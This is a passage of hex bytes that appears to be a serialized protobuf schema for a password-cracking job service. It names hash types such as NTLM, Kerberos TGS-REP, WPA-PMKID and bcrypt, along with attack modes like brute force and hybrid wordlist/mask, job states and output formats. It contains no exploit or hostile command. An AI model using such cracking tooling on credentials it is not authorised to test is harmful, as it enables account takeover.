0x35, 0x36, 0x10, - 0xf8, 0x87, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, 0x5f, 0x33, 0x38, 0x34, 0x10, - 0xdc, 0x88, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, 0x5f, 0x35, 0x31, 0x32, 0x10, - 0xc0, 0x89, 0x01, 0x12, 0x0f, 0x0a, 0x0a, 0x52, 0x49, 0x50, 0x45, 0x4d, 0x44, 0x5f, 0x31, 0x36, - 0x30, 0x10, 0xf0, 0x2e, 0x12, 0x10, 0x0a, 0x0b, 0x42, 0x4c, 0x41, 0x4b, 0x45, 0x32, 0x42, 0x5f, - 0x32, 0x35, 0x36, 0x10, 0xd8, 0x04, 0x12, 0x1a, 0x0a, 0x15, 0x47, 0x4f, 0x53, 0x54, 0x5f, 0x52, - 0x5f, 0x33, 0x32, 0x5f, 0x31, 0x31, 0x5f, 0x32, 0x30, 0x31, 0x32, 0x5f, 0x32, 0x35, 0x36, 0x10, - 0xb4, 0x5b, 0x12, 0x1a, 0x0a, 0x15, 0x47, 0x4f, 0x53, 0x54, 0x5f, 0x52, 0x5f, 0x33, 0x32, 0x5f, - 0x31, 0x31, 0x5f, 0x32, 0x30, 0x31, 0x32, 0x5f, 0x35, 0x31, 0x32, 0x10, 0x98, 0x5c, 0x12, 0x14, - 0x0a, 0x0f, 0x47, 0x4f, 0x53, 0x54, 0x5f, 0x52, 0x5f, 0x33, 0x34, 0x5f, 0x31, 0x31, 0x5f, 0x39, - 0x34, 0x10, 0xf4, 0x35, 0x12, 0x09, 0x0a, 0x03, 0x47, 0x50, 0x47, 0x10, 0xf2, 0x84, 0x01, 0x12, - 0x0d, 0x0a, 0x08, 0x48, 0x41, 0x4c, 0x46, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xec, 0x27, 0x12, 0x10, - 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f, 0x32, 0x32, 0x34, 0x10, 0xa4, 0x8a, 0x01, - 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f, 0x32, 0x35, 0x36, 0x10, 0x88, - 0x8b, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f, 0x33, 0x38, 0x34, - 0x10, 0xec, 0x8b, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f, 0x35, - 0x31, 0x32, 0x10, 0xd0, 0x8c, 0x01, 0x12, 0x0e, 0x0a, 0x09, 0x57, 0x48, 0x49, 0x52, 0x4c, 0x50, - 0x4f, 0x4f, 0x4c, 0x10, 0xd4, 0x2f, 0x12, 0x0c, 0x0a, 0x07, 0x53, 0x49, 0x50, 0x48, 0x41, 0x53, - 0x48, 0x10, 0xf4, 0x4e, 0x12, 0x0f, 0x0a, 0x0b, 0x4d, 0x44, 0x35, 0x5f, 0x55, 0x54, 0x46, 0x31, - 0x36, 0x4c, 0x45, 0x10, 0x46, 0x12, 0x11, 0x0a, 0x0c, 0x53, 0x48, 0x41, 0x31, 0x5f, 0x55, 0x54, - 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0xaa, 0x01, 0x12, 0x13, 0x0a, 0x0e, 0x53, 0x48, 0x41, 0x32, - 0x35, 0x36, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0xbe, 0x0b, 0x12, 0x13, 0x0a, - 0x0e, 0x53, 0x48, 0x41, 0x33, 0x38, 0x34, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, - 0xf6, 0x54, 0x12, 0x13, 0x0a, 0x0e, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x5f, 0x55, 0x54, 0x46, - 0x31, 0x36, 0x4c, 0x45, 0x10, 0xea, 0x0d, 0x12, 0x18, 0x0a, 0x13, 0x42, 0x4c, 0x41, 0x4b, 0x45, - 0x32, 0x42, 0x5f, 0x35, 0x31, 0x32, 0x5f, 0x50, 0x57, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, 0xe2, - 0x04, 0x12, 0x18, 0x0a, 0x13, 0x42, 0x4c, 0x41, 0x4b, 0x45, 0x32, 0x42, 0x5f, 0x35, 0x31, 0x32, - 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x50, 0x57, 0x10, 0xec, 0x04, 0x12, 0x0f, 0x0a, 0x0b, 0x4d, - 0x44, 0x35, 0x5f, 0x50, 0x57, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, 0x0a, 0x12, 0x0f, 0x0a, 0x0b, - 0x4d, 0x44, 0x35, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x50, 0x57, 0x10, 0x14, 0x12, 0x15, 0x0a, - 0x10, 0x4d, 0x44, 0x35, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x50, 0x57, 0x5f, 0x53, 0x41, 0x4c, - 0x54, 0x10, 0xd8, 0x1d, 0x12, 0x14, 0x0a, 0x0f, 0x4d, 0x44, 0x35, 0x5f, 0x53, 0x41, 0x4c, 0x54, - 0x5f, 0x4d, 0x44, 0x35, 0x5f, 0x50, 0x57, 0x10, 0xfe, 0x1c, 0x12, 0x0a, 0x0a, 0x05, 0x43, 0x52, - 0x43, 0x33, 0x32, 0x10, 0xec, 0x59, 0x12, 0x0c, 0x0a, 0x06, 0x43, 0x52, 0x43, 0x33, 0x32, 0x43, - 0x10, 0xfc, 0xd9, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x43, 0x52, 0x43, 0x36, 0x34, 0x4a, 0x6f, 0x6e, - 0x65, 0x73, 0x10, 0xe0, 0xda, 0x01, 0x12, 0x11, 0x0a, 0x0b, 0x4a, 0x41, 0x56, 0x41, 0x5f, 0x4f, - 0x42, 0x4a, 0x45, 0x43, 0x54, 0x10, 0x8c, 0x92, 0x01, 0x12, 0x0c, 0x0a, 0x06, 0x4d, 0x55, 0x52, - 0x4d, 0x55, 0x52, 0x10, 0xe4, 0xc8, 0x01, 0x12, 0x0d, 0x0a, 0x07, 0x4d, 0x55, 0x52, 0x4d, 0x55, - 0x52, 0x33, 0x10, 0x98, 0xd9, 0x01, 0x12, 0x0e, 0x0a, 0x09, 0x54, 0x48, 0x52, 0x45, 0x45, 0x5f, - 0x44, 0x45, 0x53, 0x10, 0x94, 0x6e, 0x12, 0x08, 0x0a, 0x03, 0x44, 0x45, 0x53, 0x10, 0xb0, 0x6d, - 0x12, 0x11, 0x0a, 0x0b, 0x41, 0x45, 0x53, 0x5f, 0x31, 0x32, 0x38, 0x5f, 0x45, 0x43, 0x42, 0x10, - 0xa1, 0xce, 0x01, 0x12, 0x11, 0x0a, 0x0b, 0x41, 0x45, 0x53, 0x5f, 0x31, 0x39, 0x32, 0x5f, 0x45, - 0x43, 0x42, 0x10, 0xa2, 0xce, 0x01, 0x12, 0x11, 0x0a, 0x0b, 0x41, 0x45, 0x53, 0x5f, 0x32, 0x35, - 0x36, 0x5f, 0x45, 0x43, 0x42, 0x10, 0xa3, 0xce, 0x01, 0x12, 0x0f, 0x0a, 0x0a, 0x43, 0x48, 0x41, - 0x5f, 0x43, 0x48, 0x41, 0x5f, 0x32, 0x30, 0x10, 0xa8, 0x78, 0x12, 0x1f, 0x0a, 0x1a, 0x4c, 0x49, - 0x4e, 0x55, 0x58, 0x5f, 0x4b, 0x45, 0x52, 0x4e, 0x45, 0x4c, 0x5f, 0x43, 0x52, 0x59, 0x50, 0x54, - 0x4f, 0x5f, 0x41, 0x50, 0x49, 0x5f, 0x32, 0x34, 0x10, 0xa4, 0x71, 0x12, 0x0c, 0x0a, 0x07, 0x53, - 0x4b, 0x49, 0x50, 0x5f, 0x33, 0x32, 0x10, 0xb4, 0x74, 0x12, 0x14, 0x0a, 0x0f, 0x50, 0x42, 0x4b, - 0x44, 0x46, 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xfc, 0x5c, 0x12, - 0x15, 0x0a, 0x10, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, - 0x48, 0x41, 0x31, 0x10, 0xe0, 0x5d, 0x12, 0x17, 0x0a, 0x12, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, - 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x10, 0x94, 0x55, 0x12, - 0x17, 0x0a, 0x12, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, - 0x48, 0x41, 0x35, 0x31, 0x32, 0x10, 0xc4, 0x5e, 0x12, 0x0b, 0x0a, 0x06, 0x53, 0x43, 0x52, 0x59, - 0x50, 0x54, 0x10, 0xc4, 0x45, 0x12, 0x0b, 0x0a, 0x06, 0x50, 0x48, 0x50, 0x41, 0x53, 0x53, 0x10, - 0x90, 0x03, 0x12, 0x10, 0x0a, 0x0b, 0x54, 0x41, 0x43, 0x41, 0x43, 0x53, 0x5f, 0x50, 0x4c, 0x55, - 0x53, 0x10, 0xe4, 0x7d, 0x12, 0x0f, 0x0a, 0x0a, 0x53, 0x49, 0x50, 0x5f, 0x44, 0x49, 0x47, 0x45, - 0x53, 0x54, 0x10, 0x88, 0x59, 0x12, 0x0c, 0x0a, 0x07, 0x49, 0x4b, 0x45, 0x5f, 0x4d, 0x44, 0x35, - 0x10, 0xb4, 0x29, 0x12, 0x0d, 0x0a, 0x08, 0x49, 0x4b, 0x45, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10, - 0x98, 0x2a, 0x12, 0x19, 0x0a, 0x13, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, - 0x41, 0x43, 0x5f, 0x4d, 0x44, 0x35, 0x5f, 0x39, 0x36, 0x10, 0x8c, 0xc4, 0x01, 0x12, 0x22, 0x0a, - 0x1c, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x4d, 0x44, - 0x35, 0x5f, 0x39, 0x36, 0x5f, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x5f, 0x39, 0x36, 0x10, 0xa8, 0xc3, - 0x01, 0x12, 0x1a, 0x0a, 0x14, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, - 0x43, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x5f, 0x39, 0x36, 0x10, 0xf0, 0xc4, 0x01, 0x12, 0x1d, 0x0a, - 0x17, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, - 0x41, 0x32, 0x32, 0x34, 0x5f, 0x31, 0x32, 0x38, 0x10, 0xcc, 0xd0, 0x01, 0x12, 0x1d, 0x0a, 0x17, - 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, - 0x32, 0x35, 0x36, 0x5f, 0x31, 0x39, 0x32, 0x10, 0xb0, 0xd1, 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, - 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x33, - 0x38, 0x34, 0x5f, 0x32, 0x35, 0x36, 0x10, 0x94, 0xd2, 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, 0x4e, - 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31, - 0x32, 0x5f, 0x33, 0x38, 0x34, 0x10, 0xa4, 0xd5, 0x01, 0x12, 0x15, 0x0a, 0x10, 0x57, 0x50, 0x41, - 0x5f, 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x10, 0xc4, 0x13, - 0x12, 0x12, 0x0a, 0x0d, 0x57, 0x50, 0x41, 0x5f, 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x5f, 0x50, 0x4d, - 0x4b, 0x10, 0xc5, 0x13, 0x12, 0x1c, 0x0a, 0x16, 0x57, 0x50, 0x41, 0x5f, 0x50, 0x42, 0x4b, 0x44, - 0x46, 0x32, 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x10, 0xf0, - 0xab, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x57, 0x50, 0x41, 0x5f, 0x50, 0x4d, 0x4b, 0x5f, 0x50, 0x4d, - 0x4b, 0x49, 0x44, 0x5f, 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x10, 0xf1, 0xab, 0x01, 0x12, 0x16, 0x0a, - 0x10, 0x57, 0x50, 0x41, 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46, - 0x32, 0x10, 0xa0, 0x83, 0x01, 0x12, 0x13, 0x0a, 0x0d, 0x57, 0x50, 0x41, 0x5f, 0x50, 0x4d, 0x4b, - 0x49, 0x44, 0x5f, 0x50, 0x4d, 0x4b, 0x10, 0xa1, 0x83, 0x01, 0x12, 0x19, 0x0a, 0x14, 0x49, 0x50, - 0x4d, 0x49, 0x32, 0x5f, 0x50, 0x41, 0x4b, 0x50, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, - 0x41, 0x31, 0x10, 0x84, 0x39, 0x12, 0x0d, 0x0a, 0x08, 0x43, 0x52, 0x41, 0x4d, 0x5f, 0x4d, 0x44, - 0x35, 0x10, 0xd8, 0x4f, 0x12, 0x09, 0x0a, 0x03, 0x4a, 0x57, 0x54, 0x10, 0xf4, 0x80, 0x01, 0x12, - 0x0e, 0x0a, 0x08, 0x52, 0x41, 0x44, 0x4d, 0x49, 0x4e, 0x5f, 0x33, 0x10, 0x90, 0xe4, 0x01, 0x12, - 0x19, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x37, 0x5f, 0x54, - 0x47, 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10, 0x90, 0x99, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, 0x45, - 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x37, 0x5f, 0x50, 0x52, 0x45, 0x41, 0x55, 0x54, - 0x48, 0x10, 0xd8, 0x9a, 0x01, 0x12, 0x14, 0x0a, 0x0e, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, - 0x53, 0x5f, 0x31, 0x37, 0x5f, 0x44, 0x42, 0x10, 0x80, 0xe1, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, - 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x38, 0x5f, 0x54, 0x47, 0x53, 0x5f, 0x52, - 0x45, 0x50, 0x10, 0xf4, 0x99, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, - 0x4f, 0x53, 0x5f, 0x31, 0x38, 0x5f, 0x50, 0x52, 0x45, 0x41, 0x55, 0x54, 0x48, 0x10, 0xbc, 0x9b, - 0x01, 0x12, 0x14, 0x0a, 0x0e, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x38, - 0x5f, 0x44, 0x42, 0x10, 0xe4, 0xe1, 0x01, 0x12, 0x1f, 0x0a, 0x1a, 0x4b, 0x45, 0x52, 0x42, 0x45, - 0x52, 0x4f, 0x53, 0x5f, 0x32, 0x33, 0x5f, 0x53, 0x41, 0x5f, 0x52, 0x45, 0x51, 0x5f, 0x50, 0x52, - 0x45, 0x41, 0x55, 0x54, 0x48, 0x10, 0xcc, 0x3a, 0x12, 0x18, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, - 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x32, 0x33, 0x5f, 0x54, 0x47, 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10, - 0xac, 0x66, 0x12, 0x18, 0x0a, 0x12, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x32, - 0x33, 0x5f, 0x41, 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10, 0x98, 0x8e, 0x01, 0x12, 0x10, 0x0a, 0x0b, - 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, 0x31, 0x10, 0xfc, 0x2a, 0x12, 0x14, - 0x0a, 0x0e, 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, 0x31, 0x5f, 0x4e, 0x54, - 0x10, 0xf8, 0xd2, 0x01, 0x12, 0x10, 0x0a, 0x0b, 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, - 0x5f, 0x56, 0x32, 0x10, 0xe0, 0x2b, 0x12, 0x14, 0x0a, 0x0e, 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, - 0x4c, 0x4d, 0x5f, 0x56, 0x32, 0x5f, 0x4e, 0x54, 0x10, 0xdc, 0xd3, 0x01, 0x12, 0x0b, 0x0a, 0x05, - 0x46, 0x4c, 0x41, 0x53, 0x4b, 0x10, 0xac, 0xe3, 0x01, 0x12, 0x0f, 0x0a, 0x0a, 0x49, 0x53, 0x43, - 0x53, 0x49, 0x5f, 0x43, 0x48, 0x41, 0x50, 0x10, 0xc0, 0x25, 0x12, 0x09, 0x0a, 0x04, 0x52, 0x41, - 0x43, 0x46, 0x10, 0xb4, 0x42, 0x12, 0x0d, 0x0a, 0x08, 0x41, 0x49, 0x58, 0x5f, 0x53, 0x4d, 0x44, - 0x35, 0x10, 0x9c, 0x31, 0x12, 0x0e, 0x0a, 0x09, 0x41, 0x49, 0x58, 0x5f, 0x53, 0x53, 0x48, 0x41, - 0x31, 0x10, 0xac, 0x34, 0x12, 0x10, 0x0a, 0x0b, 0x41, 0x49, 0x58, 0x5f, 0x53, 0x53, 0x48, 0x41, - 0x32, 0x35, 0x36, 0x10, 0x80, 0x32, 0x12, 0x10, 0x0a, 0x0b, 0x41, 0x49, 0x58, 0x5f, 0x53, 0x53, - 0x48, 0x41, 0x35, 0x31, 0x32, 0x10, 0xe4, 0x32, 0x12, 0x07, 0x0a, 0x02, 0x4c, 0x4d, 0x10, 0xb8, - 0x17, 0x12, 0x0d, 0x0a, 0x07, 0x51, 0x4e, 0x58, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xb8, 0x94, 0x01, - 0x12, 0x10, 0x0a, 0x0a, 0x51, 0x4e, 0x58, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x10, 0x9c, - 0x95, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x51, 0x4e, 0x58, 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, - 0x10, 0x80, 0x96, 0x01, 0x12, 0x19, 0x0a, 0x14, 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x31, - 0x5f, 0x43, 0x54, 0x58, 0x5f, 0x31, 0x5f, 0x41, 0x4e, 0x44, 0x5f, 0x32, 0x10, 0xc4, 0x77, 0x12, - 0x13, 0x0a, 0x0e, 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x31, 0x5f, 0x43, 0x54, 0x58, 0x5f, - 0x33, 0x10, 0xce, 0x77, 0x12, 0x19, 0x0a, 0x14, 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x32, - 0x5f, 0x43, 0x54, 0x58, 0x5f, 0x31, 0x5f, 0x41, 0x4e, 0x44, 0x5f, 0x32, 0x10, 0x9c, 0x7c, 0x12, - 0x13, 0x0a, 0x0e, 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x32, 0x5f, 0x43, 0x54, 0x58, 0x5f, - 0x33, 0x10, 0xa6, 0x7c, 0x12, 0x0b, 0x0a, 0x06, 0x47, 0x52, 0x55, 0x42, 0x5f, 0x32, 0x10, 0xa0, - 0x38, 0x12, 0x12, 0x0a, 0x0d, 0x4d, 0x53, 0x5f, 0x41, 0x5a, 0x55, 0x52, 0x45, 0x5f, 0x53, 0x59, - 0x4e, 0x43, 0x10, 0x80, 0x64, 0x12, 0x0f, 0x0a, 0x0a, 0x42, 0x53, 0x44, 0x49, 0x5f, 0x43, 0x52, - 0x59, 0x50, 0x54, 0x10, 0xf0, 0x60, 0x12, 0x09, 0x0a, 0x04, 0x4e, 0x54, 0x4c, 0x4d, 0x10, 0xe8, - 0x07, 0x12, 0x0c, 0x0a, 0x07, 0x52, 0x41, 0x44, 0x4d, 0x49, 0x4e, 0x32, 0x10, 0xac, 0x4d, 0x12, - 0x14, 0x0a, 0x0f, 0x53, 0x41, 0x4d, 0x53, 0x55, 0x4e, 0x47, 0x5f, 0x41, 0x4e, 0x44, 0x52, 0x4f, - 0x49, 0x44, 0x10, 0xa8, 0x2d, 0x12, 0x17, 0x0a, 0x11, 0x57, 0x49, 0x4e, 0x44, 0x4f, 0x57, 0x53, - 0x5f, 0x48, 0x45, 0x4c, 0x4c, 0x4f, 0x5f, 0x50, 0x49, 0x4e, 0x10, 0xc4, 0xdb, 0x01, 0x12, 0x12, - 0x0a, 0x0d, 0x57, 0x49, 0x4e, 0x44, 0x4f, 0x57, 0x53, 0x5f, 0x50, 0x48, 0x4f, 0x4e, 0x45, 0x10, - 0xe8, 0x6b, 0x12, 0x12, 0x0a, 0x0d, 0x43, 0x49, 0x53, 0x43, 0x4f, 0x5f, 0x41, 0x53, 0x41, 0x5f, - 0x4d, 0x44, 0x35, 0x10, 0xea, 0x12, 0x12, 0x1c, 0x0a, 0x17, 0x43, 0x49, 0x53, 0x43, 0x4f, 0x5f, - 0x49, 0x4f, 0x53, 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, - 0x36, 0x10, 0xf0, 0x47, 0x12, 0x15, 0x0a, 0x10, 0x43, 0x49, 0x53, 0x43, 0x4f, 0x5f, 0x49, 0x4f, - 0x53, 0x5f, 0x53, 0x43, 0x52, 0x59, 0x50, 0x54, 0x10, 0xd4, 0x48, 0x12, 0x12, 0x0a, 0x0d, 0x43, - 0x49, 0x53, 0x43, 0x4f, 0x5f, 0x50, 0x49, 0x58, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xe0, 0x12, 0x12, - 0x1a, 0x0a, 0x15, 0x43, 0x49, 0x54, 0x52, 0x49, 0x58, 0x5f, 0x4e, 0x45, 0x54, 0x53, 0x43, 0x41, - 0x4c, 0x45, 0x52, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10, 0xa4, 0x3f, 0x12, 0x1d, 0x0a, 0x17, 0x43, - 0x49, 0x54, 0x52, 0x49, 0x58, 0x5f, 0x4e, 0x45, 0x54, 0x53, 0x43, 0x41, 0x4c, 0x45, 0x52, 0x5f, - 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x10, 0xb8, 0xad, 0x01, 0x12, 0x08, 0x0a, 0x03, 0x44, 0x43, - 0x43, 0x10, 0xcc, 0x08, 0x12, 0x09, 0x0a, 0x04, 0x44, 0x43, 0x43, 0x32, 0x10, 0xb4, 0x10, 0x12, - 0x0f, 0x0a, 0x0a, 0x4d, 0x41, 0x43, 0x4f, 0x53, 0x5f, 0x31, 0x30, 0x5f, 0x38, 0x10, 0xbc, 0x37, - 0x12, 0x0c, 0x0a, 0x07, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x10, 0x8f, 0x4e, 0x12, 0x10, - 0x0a, 0x0b, 0x42, 0x43, 0x52, 0x59, 0x50, 0x54, 0x5f, 0x55, 0x4e, 0x49, 0x58, 0x10, 0x80, 0x19, - 0x12, 0x16, 0x0a, 0x11, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x5f, 0x43, 0x52, 0x59, 0x50, 0x54, - 0x5f, 0x55, 0x4e, 0x49, 0x58, 0x10, 0x88, 0x0e, 0x2a, 0x32, 0x0a, 0x06, 0x53, 0x74, 0x61, 0x74, - 0x65, 0x73, 0x12, 0x08, 0x0a, 0x04, 0x49, 0x44, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0c, 0x0a, 0x08, - 0x43, 0x52, 0x41, 0x43, 0x4b, 0x49, 0x4e, 0x47, 0x10, 0x01, 0x12, 0x10, 0x0a, 0x0c, 0x49, 0x4e, - 0x49, 0x54, 0x49, 0x41, 0x4c, 0x49, 0x5a, 0x49, 0x4e, 0x47, 0x10, 0x02, 0x2a, 0x3c, 0x0a, 0x0e, - 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4a, 0x6f, 0x62, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x0f, - 0x0a, 0x0b, 0x49, 0x4e, 0x5f, 0x50, 0x52, 0x4f, 0x47, 0x52, 0x45, 0x53, 0x53, 0x10, 0x00, 0x12, - 0x0d, 0x0a, 0x09, 0x43, 0x4f, 0x4d, 0x50, 0x4c, 0x45, 0x54, 0x45, 0x44, 0x10, 0x01, 0x12, 0x0a, - 0x0a, 0x06, 0x46, 0x41, 0x49, 0x4c, 0x45, 0x44, 0x10, 0x02, 0x2a, 0x94, 0x01, 0x0a, 0x0f, 0x43, - 0x72, 0x61, 0x63, 0x6b, 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x0c, - 0x0a, 0x08, 0x53, 0x54, 0x52, 0x41, 0x49, 0x47, 0x48, 0x54, 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, - 0x43, 0x4f, 0x4d, 0x42, 0x49, 0x4e, 0x41, 0x54, 0x49, 0x4f, 0x4e, 0x10, 0x01, 0x12, 0x0e, 0x0a, - 0x0a, 0x42, 0x52, 0x55, 0x54, 0x45, 0x46, 0x4f, 0x52, 0x43, 0x45, 0x10, 0x03, 0x12, 0x18, 0x0a, - 0x14, 0x48, 0x59, 0x42, 0x52, 0x49, 0x44, 0x5f, 0x57, 0x4f, 0x52, 0x44, 0x4c, 0x49, 0x53, 0x54, - 0x5f, 0x4d, 0x41, 0x53, 0x4b, 0x10, 0x06, 0x12, 0x18, 0x0a, 0x14, 0x48, 0x59, 0x42, 0x52, 0x49, - 0x44, 0x5f, 0x4d, 0x41, 0x53, 0x4b, 0x5f, 0x57, 0x4f, 0x52, 0x44, 0x4c, 0x49, 0x53, 0x54, 0x10, - 0x07, 0x12, 0x0f, 0x0a, 0x0b, 0x41, 0x53, 0x53, 0x4f, 0x43, 0x49, 0x41, 0x54, 0x49, 0x4f, 0x4e, - 0x10, 0x09, 0x12, 0x0d, 0x0a, 0x09, 0x4e, 0x4f, 0x5f, 0x41, 0x54, 0x54, 0x41, 0x43, 0x4b, 0x10, - 0x0a, 0x2a, 0x44, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, - 0x6e, 0x67, 0x12, 0x14, 0x0a, 0x10, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x45, 0x4e, - 0x43, 0x4f, 0x44, 0x49, 0x4e, 0x47, 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x49, 0x53, 0x4f, 0x5f, - 0x38, 0x38, 0x35, 0x39, 0x5f, 0x31, 0x35, 0x10, 0x01, 0x12, 0x0c, 0x0a, 0x08, 0x55, 0x54, 0x46, - 0x5f, 0x33, 0x32, 0x4c, 0x45, 0x10, 0x02, 0x2a, 0x90, 0x01, 0x0a, 0x12, 0x43, 0x72, 0x61, 0x63, - 0x6b, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x12, - 0x0a, 0x0e, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x46, 0x4f, 0x52, 0x4d, 0x41, 0x54, - 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x48, 0x41, 0x53, 0x48, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, - 0x01, 0x12, 0x09, 0x0a, 0x05, 0x50, 0x4c, 0x41, 0x49, 0x4e, 0x10, 0x02, 0x12, 0x0d, 0x0a, 0x09, - 0x48, 0x45, 0x58, 0x5f, 0x50, 0x4c, 0x41, 0x49, 0x4e, 0x10, 0x03, 0x12, 0x0d, 0x0a, 0x09, 0x43, - 0x52, 0x41, 0x43, 0x4b, 0x5f, 0x50, 0x4f, 0x53, 0x10, 0x04, 0x12, 0x16, 0x0a, 0x12, 0x54, 0x49, - 0x4d, 0x45, 0x53, 0x54, 0x41, 0x4d, 0x50, 0x5f, 0x41, 0x42, 0x53, 0x4f, 